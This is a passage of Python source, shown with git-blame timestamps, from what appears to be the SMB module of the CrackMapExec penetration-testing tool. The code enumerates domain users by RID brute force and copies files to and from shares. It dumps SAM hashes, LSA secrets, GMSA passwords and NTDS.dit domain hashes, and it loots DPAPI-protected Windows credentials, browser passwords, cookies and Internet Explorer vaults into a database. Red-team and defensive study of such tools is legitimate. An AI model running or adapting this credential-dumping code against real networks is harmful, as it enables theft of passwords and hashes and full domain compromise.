else :
2023-03-14 05:24:42 +00:00
spider . spider ( share , folder , pattern , regex , exclude_dirs , depth , content , only_files )
2017-04-05 15:07:00 +00:00
self . logger . info ( " Done spidering (Completed in {} ) " . format ( time ( ) - start_time ) )
return spider . results
2023-03-04 14:11:31 +00:00
def rid_brute ( self , max_rid = None ) :
2017-04-05 15:07:00 +00:00
entries = [ ]
2023-03-04 14:11:31 +00:00
if not max_rid :
max_rid = int ( self . args . rid_brute )
2017-04-05 15:07:00 +00:00
KNOWN_PROTOCOLS = {
2023-03-14 05:24:42 +00:00
135 : { ' bindstr ' : r ' ncacn_ip_tcp: %s ' , ' set_host ' : False } ,
2017-04-05 15:07:00 +00:00
139 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
445 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
2023-03-14 05:24:42 +00:00
}
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
try :
2023-03-04 14:11:31 +00:00
string_binding = KNOWN_PROTOCOLS [ self . args . port ] [ ' bindstr ' ] . format ( self . host )
logging . debug ( ' StringBinding {} ' . format ( string_binding ) )
rpc_transport = transport . DCERPCTransportFactory ( string_binding )
rpc_transport . set_dport ( self . args . port )
2017-04-05 15:07:00 +00:00
2017-05-03 00:52:16 +00:00
if KNOWN_PROTOCOLS [ self . args . port ] [ ' set_host ' ] :
2023-03-04 14:11:31 +00:00
rpc_transport . setRemoteHost ( self . host )
2016-12-15 07:28:00 +00:00
2023-03-04 14:11:31 +00:00
if hasattr ( rpc_transport , ' set_credentials ' ) :
2017-04-05 15:07:00 +00:00
# This method exists only for selected protocol sequences.
2023-03-04 14:11:31 +00:00
rpc_transport . set_credentials ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2017-04-05 15:07:00 +00:00
2023-03-04 14:11:31 +00:00
dce = rpc_transport . get_dce_rpc ( )
2017-04-05 15:07:00 +00:00
dce . connect ( )
except Exception as e :
self . logger . error ( ' Error creating DCERPC connection: {} ' . format ( e ) )
return entries
# Want encryption? Uncomment next line
2023-03-04 14:11:31 +00:00
# But make simultaneous variable <= 100
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
2017-04-05 15:07:00 +00:00
# Want fragmentation? Uncomment next line
2023-03-04 14:11:31 +00:00
# dce.set_max_fragment_size(32)
2017-04-05 15:07:00 +00:00
dce . bind ( lsat . MSRPC_UUID_LSAT )
2023-03-24 16:56:28 +00:00
try :
resp = lsad . hLsarOpenPolicy2 (
dce ,
MAXIMUM_ALLOWED | lsat . POLICY_LOOKUP_NAMES
)
except lsad . DCERPCSessionError as e :
2023-03-25 20:10:31 +00:00
self . logger . error ( f " Error connecting: { e } " )
2023-03-24 16:56:28 +00:00
return entries
2023-03-04 14:11:31 +00:00
policy_handle = resp [ ' PolicyHandle ' ]
2017-04-05 15:07:00 +00:00
2023-03-24 16:56:28 +00:00
resp = lsad . hLsarQueryInformationPolicy2 (
dce ,
policy_handle ,
lsad . POLICY_INFORMATION_CLASS . PolicyAccountDomainInformation
)
2017-04-05 15:07:00 +00:00
2023-03-04 14:11:31 +00:00
domain_sid = resp [ ' PolicyInformation ' ] [ ' PolicyAccountDomainInfo ' ] [ ' DomainSid ' ] . formatCanonical ( )
2017-04-05 15:07:00 +00:00
2023-03-04 14:11:31 +00:00
so_far = 0
simultaneous = 1000
for j in range ( max_rid / / simultaneous + 1 ) :
if ( max_rid - so_far ) / / simultaneous == 0 :
sids_to_check = ( max_rid - so_far ) % simultaneous
2017-10-25 02:08:19 +00:00
else :
2023-03-04 14:11:31 +00:00
sids_to_check = simultaneous
2017-10-25 02:08:19 +00:00
2023-03-04 14:11:31 +00:00
if sids_to_check == 0 :
2017-04-05 15:07:00 +00:00
break
sids = list ( )
2023-03-14 05:24:42 +00:00
for i in range ( so_far , so_far + sids_to_check ) :
2023-03-04 14:11:31 +00:00
sids . append ( domain_sid + ' - %d ' % i )
2017-04-05 15:07:00 +00:00
try :
2023-03-14 05:24:42 +00:00
lsat . hLsarLookupSids ( dce , policy_handle , sids , lsat . LSAP_LOOKUP_LEVEL . LsapLookupWksta )
2019-11-11 10:06:39 +00:00
except DCERPCException as e :
2017-04-05 15:07:00 +00:00
if str ( e ) . find ( ' STATUS_NONE_MAPPED ' ) > = 0 :
2023-03-04 14:11:31 +00:00
so_far + = simultaneous
2017-04-05 15:07:00 +00:00
continue
elif str ( e ) . find ( ' STATUS_SOME_NOT_MAPPED ' ) > = 0 :
resp = e . get_packet ( )
2017-10-25 02:08:19 +00:00
else :
2017-04-05 15:07:00 +00:00
raise
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
for n , item in enumerate ( resp [ ' TranslatedNames ' ] [ ' Names ' ] ) :
if item [ ' Use ' ] != SID_NAME_USE . SidTypeUnknown :
2023-03-14 05:24:42 +00:00
rid = so_far + n
2017-04-05 15:07:00 +00:00
domain = resp [ ' ReferencedDomains ' ] [ ' Domains ' ] [ item [ ' DomainIndex ' ] ] [ ' Name ' ]
2023-03-14 05:24:42 +00:00
user = item [ ' Name ' ]
2017-04-05 15:07:00 +00:00
sid_type = SID_NAME_USE . enumItems ( item [ ' Use ' ] ) . name
self . logger . highlight ( " {} : {} \\ {} ( {} ) " . format ( rid , domain , user , sid_type ) )
entries . append ( { ' rid ' : rid , ' domain ' : domain , ' username ' : user , ' sidtype ' : sid_type } )
2023-03-04 14:11:31 +00:00
so_far + = simultaneous
2017-04-05 15:07:00 +00:00
dce . disconnect ( )
return entries
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
def put_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . put_file [ 0 ] , self . args . put_file [ 1 ] ) )
with open ( self . args . put_file [ 0 ] , ' rb ' ) as file :
try :
self . conn . putFile ( self . args . share , self . args . put_file [ 1 ] , file . read )
2023-03-14 05:24:42 +00:00
self . logger . success ( f " Created file { self . args . put_file [ 0 ] } on \\ \\ { elf . args . share } \\ { self . args . put_file [ 1 ] } " )
2020-04-28 16:22:30 +00:00
except Exception as e :
self . logger . error ( ' Error writing file to share {} : {} ' . format ( self . args . share , e ) )
def get_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
2023-03-21 16:53:54 +00:00
file_handle = self . args . get_file [ 1 ]
if self . args . append_host :
2023-03-23 11:13:18 +00:00
file_handle = self . hostname + " - " + self . args . get_file [ 1 ]
2023-03-21 16:53:54 +00:00
with open ( file_handle , ' wb+ ' ) as file :
2020-04-28 16:22:30 +00:00
try :
self . conn . getFile ( self . args . share , self . args . get_file [ 0 ] , file . write )
2023-03-21 16:53:54 +00:00
self . logger . success ( ' File {} was transferred to {} ' . format ( self . args . get_file [ 0 ] , file_handle ) )
2020-04-28 16:22:30 +00:00
except Exception as e :
self . logger . error ( ' Error reading file {} : {} ' . format ( self . args . share , e ) )
2016-12-15 07:28:00 +00:00
def enable_remoteops ( self ) :
if self . remote_ops is not None and self . bootkey is not None :
return
try :
2023-03-14 05:24:42 +00:00
self . remote_ops = RemoteOperations ( self . conn , self . kerberos , self . kdcHost )
2016-12-15 07:28:00 +00:00
self . remote_ops . enableRegistry ( )
self . bootkey = self . remote_ops . getBootKey ( )
except Exception as e :
self . logger . error ( ' RemoteOperations failed: {} ' . format ( e ) )
@requires_admin
def sam ( self ) :
self . enable_remoteops ( )
2023-03-12 02:25:23 +00:00
host_id = self . db . get_hosts ( filter_term = self . host ) [ 0 ] [ 0 ]
2017-03-27 21:09:36 +00:00
def add_sam_hash ( sam_hash , host_id ) :
add_sam_hash . sam_hashes + = 1
self . logger . highlight ( sam_hash )
2023-03-04 14:11:31 +00:00
username , _ , lmhash , nthash , _ , _ , _ = sam_hash . split ( ' : ' )
2017-03-27 21:09:36 +00:00
self . db . add_credential ( ' hash ' , self . hostname , username , ' : ' . join ( ( lmhash , nthash ) ) , pillaged_from = host_id )
2023-03-14 05:24:42 +00:00
2017-03-27 21:09:36 +00:00
add_sam_hash . sam_hashes = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2023-03-04 14:11:31 +00:00
SAM_file_name = self . remote_ops . saveSAM ( )
2023-03-14 05:24:42 +00:00
SAM = SAMHashes (
SAM_file_name ,
self . bootkey ,
isRemote = True ,
perSecretCallback = lambda secret : add_sam_hash ( secret , host_id ) )
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumping SAM hashes ' )
SAM . dump ( )
SAM . export ( self . output_filename )
self . logger . success ( ' Added {} SAM hashes to the database ' . format ( highlight ( add_sam_hash . sam_hashes ) ) )
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
SAM . finish ( )
2016-12-15 07:28:00 +00:00
2023-02-07 11:06:42 +00:00
@requires_admin
def dpapi ( self ) :
2023-02-08 08:14:18 +00:00
logging . getLogger ( " dploot " ) . disabled = True
2023-03-04 14:11:31 +00:00
2023-02-07 14:32:19 +00:00
if self . args . pvk is not None :
try :
2023-02-16 13:09:21 +00:00
self . pvkbytes = open ( self . args . pvk , ' rb ' ) . read ( )
2023-03-14 05:24:42 +00:00
self . logger . success ( f " Loading domain backupkey from { self . args . pvk } " )
2023-02-07 14:32:19 +00:00
except Exception as e :
logging . error ( str ( e ) )
masterkeys = [ ]
if self . args . mkfile is not None :
try :
masterkeys + = parse_masterkey_file ( self . args . mkfile )
except Exception as e :
self . logger . error ( str ( e ) )
2023-03-14 05:24:42 +00:00
if self . pvkbytes is None and self . no_da is None and self . args . local_auth is False :
2023-02-22 19:41:58 +00:00
try :
results = self . db . get_domain_backupkey ( self . domain )
except :
2023-03-14 05:24:42 +00:00
logging . error ( " Your version of CMEDB is not up to date, run cmedb and create a new workspace: \
' workspace create dpapi ' then re - run the dpapi option " )
2023-02-22 19:41:58 +00:00
return False
2023-02-22 11:56:24 +00:00
if len ( results ) > 0 :
self . logger . success ( " Loading domain backupkey from cmedb... " )
self . pvkbytes = results [ 0 ] [ 2 ]
2023-03-04 14:11:31 +00:00
else :
2023-02-22 11:56:24 +00:00
try :
dc_target = Target . create (
2023-03-14 05:24:42 +00:00
domain = self . domain ,
username = self . username ,
password = self . password ,
2023-03-16 12:34:52 +00:00
target = self . domain , # querying DNS server for domain will return DC
2023-03-14 05:24:42 +00:00
lmhash = self . lmhash ,
nthash = self . nthash ,
do_kerberos = self . kerberos ,
aesKey = self . aesKey ,
no_pass = True ,
use_kcache = self . use_kcache ,
2023-02-22 11:56:24 +00:00
)
2023-03-04 14:11:31 +00:00
dc_conn = DPLootSMBConnection ( dc_target )
2023-03-14 05:24:42 +00:00
dc_conn . connect ( ) # Connect to DC
2023-02-23 09:38:44 +00:00
if dc_conn . is_admin ( ) :
2023-02-22 11:56:24 +00:00
self . logger . success ( " User is Domain Administrator, exporting domain backupkey... " )
backupkey_triage = BackupkeyTriage ( target = dc_target , conn = dc_conn )
backupkey = backupkey_triage . triage_backupkey ( )
self . pvkbytes = backupkey . backupkey_v2
self . db . add_domain_backupkey ( self . domain , self . pvkbytes )
else :
self . no_da = False
except Exception as e :
2023-03-14 05:24:42 +00:00
logging . debug ( f " Could not get domain backupkey: { e } " )
2023-02-22 11:56:24 +00:00
pass
2023-02-07 14:32:19 +00:00
2023-02-07 11:06:42 +00:00
target = Target . create (
2023-03-14 05:24:42 +00:00
domain = self . domain ,
username = self . username ,
password = self . password ,
target = self . hostname + " . " + self . domain if self . kerberos else self . host ,
lmhash = self . lmhash ,
nthash = self . nthash ,
do_kerberos = self . kerberos ,
aesKey = self . aesKey ,
no_pass = True ,
use_kcache = self . use_kcache ,
2023-02-07 11:06:42 +00:00
)
2023-02-14 10:15:14 +00:00
try :
2023-03-04 14:11:31 +00:00
conn = DPLootSMBConnection ( target )
2023-02-14 10:15:14 +00:00
conn . smb_session = self . conn
except Exception as e :
self . logger . debug ( " Could not upgrade connection: {} " . format ( e ) )
return
2023-02-07 11:06:42 +00:00
2023-03-14 05:24:42 +00:00
plaintexts = {
username : password for _ ,
_ ,
username ,
password ,
_ ,
_ in self . db . get_credentials ( cred_type = " plaintext " )
}
nthashes = {
username : nt . split ( ' : ' ) [ 1 ] if ' : ' in nt else nt for _ ,
_ , username ,
nt ,
_ ,
_ in self . db . get_credentials ( cred_type = " hash " )
}
2023-02-07 13:51:01 +00:00
if self . password != ' ' :
2023-02-07 11:06:42 +00:00
plaintexts [ self . username ] = self . password
2023-02-07 13:51:01 +00:00
if self . nthash != ' ' :
2023-02-07 11:06:42 +00:00
nthashes [ self . username ] = self . nthash
# Collect User and Machine masterkeys
2023-02-08 08:14:18 +00:00
try :
2023-02-19 13:33:05 +00:00
self . logger . success ( " Collecting User and Machine masterkeys, grab a coffee and be patient... " )
2023-03-14 05:24:42 +00:00
masterkeys_triage = MasterkeysTriage (
target = target ,
conn = conn ,
pvkbytes = self . pvkbytes ,
passwords = plaintexts ,
nthashes = nthashes
)
logging . debug ( f " Masterkeys Triage: { masterkeys_triage } " )
2023-02-08 08:14:18 +00:00
masterkeys + = masterkeys_triage . triage_masterkeys ( )
masterkeys + = masterkeys_triage . triage_system_masterkeys ( )
except Exception as e :
2023-03-14 05:24:42 +00:00
logging . debug ( f " Could not get masterkeys: { e } " )
2023-02-08 08:14:18 +00:00
if len ( masterkeys ) == 0 :
2023-03-14 05:24:42 +00:00
logging . error ( " No masterkeys looted " )
2023-02-08 08:14:18 +00:00
return
2023-02-07 11:06:42 +00:00
2023-03-14 05:24:42 +00:00
self . logger . success ( f " Got { highlight ( len ( masterkeys ) ) } decrypted masterkeys. Looting secrets " )
2023-02-07 11:06:42 +00:00
2023-02-08 08:14:18 +00:00
try :
# Collect User and Machine Credentials Manager secrets
credentials_triage = CredentialsTriage ( target = target , conn = conn , masterkeys = masterkeys )
2023-03-14 05:24:42 +00:00
logging . debug ( f " Credentials Triage Object: { credentials_triage } " )
2023-02-08 08:14:18 +00:00
credentials = credentials_triage . triage_credentials ( )
2023-03-14 05:24:42 +00:00
logging . debug ( f " Triaged Credentials: { credentials } " )
2023-02-08 08:14:18 +00:00
system_credentials = credentials_triage . triage_system_credentials ( )
2023-03-14 05:24:42 +00:00
logging . debug ( f " Triaged System Credentials: { system_credentials } " )
2023-02-08 08:14:18 +00:00
except Exception as e :
2023-03-14 05:24:42 +00:00
logging . debug ( f " Error while looting credentials: { e } " )
2023-02-14 10:15:14 +00:00
for credential in credentials :
2023-03-14 05:24:42 +00:00
self . logger . highlight ( " [ %s ][CREDENTIAL] %s - %s : %s " % (
credential . winuser ,
credential . target ,
credential . username ,
credential . password
) )
self . db . add_dpapi_secrets (
target . address ,
" CREDENTIAL " ,
credential . winuser ,
credential . username ,
credential . password ,
credential . target
)
2023-02-14 10:15:14 +00:00
for credential in system_credentials :
2023-03-14 05:24:42 +00:00
self . logger . highlight (
f " [SYSTEM][CREDENTIAL] { credential . target } - { credential . username } : { credential . password } "
)
self . db . add_dpapi_secrets (
target . address ,
" CREDENTIAL " ,
" SYSTEM " ,
credential . username ,
credential . password ,
credential . target
)
2023-02-08 08:14:18 +00:00
try :
# Collect Chrome Based Browser stored secrets
2023-02-19 20:35:37 +00:00
dump_cookies = True if self . args . dpapi == " cookies " else False
2023-02-08 08:14:18 +00:00
browser_triage = BrowserTriage ( target = target , conn = conn , masterkeys = masterkeys )
2023-02-19 20:35:37 +00:00
browser_credentials , cookies = browser_triage . triage_browsers ( gather_cookies = dump_cookies )
2023-02-08 08:14:18 +00:00
except Exception as e :
2023-03-14 05:24:42 +00:00
self . logger . debug ( f " Error while looting browsers: { e } " )
2023-02-14 10:15:14 +00:00
for credential in browser_credentials :
2023-03-14 05:24:42 +00:00
cred_url = credential . url + ' - ' if credential . url != ' ' else ' - '
self . logger . highlight (
f " [ { credential . winuser } ][ { credential . browser . upper ( ) } ] { cred_url } { credential . username } : { credential . password } "
)
self . db . add_dpapi_secrets (
target . address ,
credential . browser . upper ( ) ,
credential . winuser ,
credential . username ,
credential . password ,
credential . url
)
2023-03-04 14:11:31 +00:00
2023-02-19 20:35:37 +00:00
if dump_cookies :
self . logger . info ( " Start Dumping Cookies " )
for cookie in cookies :
2023-03-14 05:24:42 +00:00
self . logger . highlight (
f " [ { credential . winuser } ][ { cookie . browser . upper ( ) } ] { cookie . host } { cookie . path } - { cookie . cookie_name } : { cookie . cookie_value } "
)
2023-02-19 20:35:37 +00:00
self . logger . info ( " End Dumping Cookies " )
2023-02-08 08:14:18 +00:00
try :
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage ( target = target , conn = conn , masterkeys = masterkeys )
vaults = vaults_triage . triage_vaults ( )
except Exception as e :
2023-03-14 05:24:42 +00:00
self . logger . debug ( f " Error while looting vaults: { e } " )
2023-02-14 10:15:14 +00:00
for vault in vaults :
if vault . type == ' Internet Explorer ' :
2023-03-14 05:24:42 +00:00
resource = vault . resource + ' - ' if vault . resource != ' ' else ' - '
self . logger . highlight ( f " [ { vault . winuser } ][IEX] { resource } - { vault . username } : { vault . password } " )
self . db . add_dpapi_secrets (
target . address ,
' IEX ' ,
vault . winuser ,
vault . username ,
vault . password ,
vault . resource
)
2023-02-08 08:14:18 +00:00
2023-02-13 10:48:12 +00:00
try :
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage ( target = target , logger = self . logger , conn = conn )
firefox_credentials = firefox_triage . run ( )
except Exception as e :
2023-03-14 05:24:42 +00:00
self . logger . debug ( f " Error while looting firefox: { e } " )
2023-02-14 10:15:14 +00:00
for credential in firefox_credentials :
2023-03-14 05:24:42 +00:00
url = credential . url + ' - ' if credential . url != ' ' else ' - '
self . logger . highlight (
f " [ { credential . winuser } ][FIREFOX] { url } { credential . username } : { credential . password } "
)
self . db . add_dpapi_secrets (
target . address ,
' FIREFOX ' ,
credential . winuser ,
credential . username ,
credential . password ,
credential . url
)
2023-02-13 10:48:12 +00:00
2016-12-15 07:28:00 +00:00
@requires_admin
def lsa ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
def add_lsa_secret ( secret ) :
add_lsa_secret . secrets + = 1
self . logger . highlight ( secret )
2022-12-14 20:45:51 +00:00
if " _SC_GMSA_ { 84A78B8C " in secret :
gmsa_id = secret . split ( " _ " ) [ 4 ] . split ( " : " ) [ 0 ]
data = bytes . fromhex ( secret . split ( " _ " ) [ 4 ] . split ( " : " ) [ 1 ] )
blob = MSDS_MANAGEDPASSWORD_BLOB ( )
blob . fromString ( data )
currentPassword = blob [ ' CurrentPassword ' ] [ : - 2 ]
2023-03-14 05:24:42 +00:00
ntlm_hash = MD4 . new ( )
ntlm_hash . update ( currentPassword )
2022-12-14 20:45:51 +00:00
passwd = hexlify ( ntlm_hash . digest ( ) ) . decode ( " utf-8 " )
2023-02-05 09:44:07 +00:00
self . logger . highlight ( " GMSA ID: {:<20} NTLM: {} " . format ( gmsa_id , passwd ) )
2023-03-14 05:24:42 +00:00
2017-03-27 21:09:36 +00:00
add_lsa_secret . secrets = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2017-03-27 21:09:36 +00:00
SECURITYFileName = self . remote_ops . saveSECURITY ( )
2023-03-14 05:24:42 +00:00
LSA = LSASecrets (
SECURITYFileName ,
self . bootkey ,
self . remote_ops ,
isRemote = True ,
perSecretCallback = lambda secret_type , secret : add_lsa_secret ( secret )
)
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumping LSA secrets ' )
LSA . dumpCachedHashes ( )
LSA . exportCached ( self . output_filename )
LSA . dumpSecrets ( )
LSA . exportSecrets ( self . output_filename )
2023-03-14 05:24:42 +00:00
self . logger . success (
f " Dumped { highlight ( add_lsa_secret . secrets ) } \
LSA secrets to { self . output_filename + ' .secrets ' } \
and { self . output_filename + ' .cached ' } "
2023-03-04 14:11:31 +00:00
)
2017-03-27 21:09:36 +00:00
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
LSA . finish ( )
2016-12-15 07:28:00 +00:00
def ntds ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
use_vss_method = False
2023-03-04 14:11:31 +00:00
NTDSFileName = None
2023-03-12 02:25:23 +00:00
host_id = self . db . get_hosts ( filter_term = self . host ) [ 0 ] [ 0 ]
2017-03-30 00:03:04 +00:00
def add_ntds_hash ( ntds_hash , host_id ) :
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes + = 1
2022-11-22 18:28:57 +00:00
if self . args . enabled :
if " Enabled " in ntds_hash :
ntds_hash = ntds_hash . split ( " " ) [ 0 ]
self . logger . highlight ( ntds_hash )
2022-07-08 08:47:27 +00:00
else :
ntds_hash = ntds_hash . split ( " " ) [ 0 ]
self . logger . highlight ( ntds_hash )
2017-03-30 00:03:04 +00:00
if ntds_hash . find ( ' $ ' ) == - 1 :
if ntds_hash . find ( ' \\ ' ) != - 1 :
domain , hash = ntds_hash . split ( ' \\ ' )
else :
domain = self . domain
hash = ntds_hash
try :
2023-03-04 14:11:31 +00:00
username , _ , lmhash , nthash , _ , _ , _ = hash . split ( ' : ' )
2017-03-30 00:03:04 +00:00
parsed_hash = ' : ' . join ( ( lmhash , nthash ) )
if validate_ntlm ( parsed_hash ) :
self . db . add_credential ( ' hash ' , domain , username , parsed_hash , pillaged_from = host_id )
add_ntds_hash . added_to_db + = 1
return
raise
except :
logging . debug ( " Dumped hash is not NTLM, not adding to db for now ;) " )
else :
logging . debug ( " Dumped hash is a computer account, not adding to db " )
2023-03-14 05:24:42 +00:00
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes = 0
2017-03-30 00:03:04 +00:00
add_ntds_hash . added_to_db = 0
2016-12-15 07:28:00 +00:00
2023-03-14 05:24:42 +00:00
if self . remote_ops :
2016-12-15 07:28:00 +00:00
try :
2020-04-20 00:22:03 +00:00
if self . args . ntds == ' vss ' :
2017-03-27 21:09:36 +00:00
NTDSFileName = self . remote_ops . saveNTDS ( )
use_vss_method = True
2016-12-15 07:28:00 +00:00
except Exception as e :
2023-03-04 14:11:31 +00:00
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
2017-03-27 21:09:36 +00:00
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
2016-12-15 07:28:00 +00:00
self . logger . error ( e )
2023-03-04 14:11:31 +00:00
NTDS = NTDSHashes (
NTDSFileName ,
self . bootkey ,
isRemote = True ,
history = False ,
noLMHash = True ,
remoteOps = self . remote_ops ,
useVSSMethod = use_vss_method ,
justNTLM = True ,
pwdLastSet = False ,
resumeSession = None ,
outputFileName = self . output_filename ,
justUser = self . args . userntds if self . args . userntds else None ,
printUserStatus = True ,
2023-03-14 05:24:42 +00:00
perSecretCallback = lambda secret_type , secret : add_ntds_hash ( secret , host_id )
2023-03-04 14:11:31 +00:00
)
2021-09-18 20:26:24 +00:00
try :
self . logger . success ( ' Dumping the NTDS, this could take a while so go grab a redbull... ' )
NTDS . dump ( )
2023-03-04 14:11:31 +00:00
self . logger . success ( ' Dumped {} NTDS hashes to {} of which {} were added to the database ' . format (
highlight ( add_ntds_hash . ntds_hashes ) ,
self . output_filename + ' .ntds ' ,
highlight ( add_ntds_hash . added_to_db )
) )
2022-11-22 18:28:57 +00:00
self . logger . info ( " To extract only enabled accounts from the output file, run the following command: " )
2023-03-14 05:24:42 +00:00
self . logger . info ( f " cat { self . output_filename + ' .ntds ' } | grep -iv disabled | cut -d ' : ' -f1 " )
self . logger . info ( f " grep -iv disabled { self . output_filename + ' .ntds ' } | cut -d ' : ' -f1 " )
2021-09-18 20:26:24 +00:00
except Exception as e :
2023-03-04 14:11:31 +00:00
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
2021-09-18 20:26:24 +00:00
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
self . logger . error ( e )
try :
self . remote_ops . finish ( )
except Exception as e :
2023-03-14 05:24:42 +00:00
logging . debug ( f " Error calling remote_ops.finish(): { e } " )
2022-02-01 13:38:12 +00:00
NTDS . finish ( )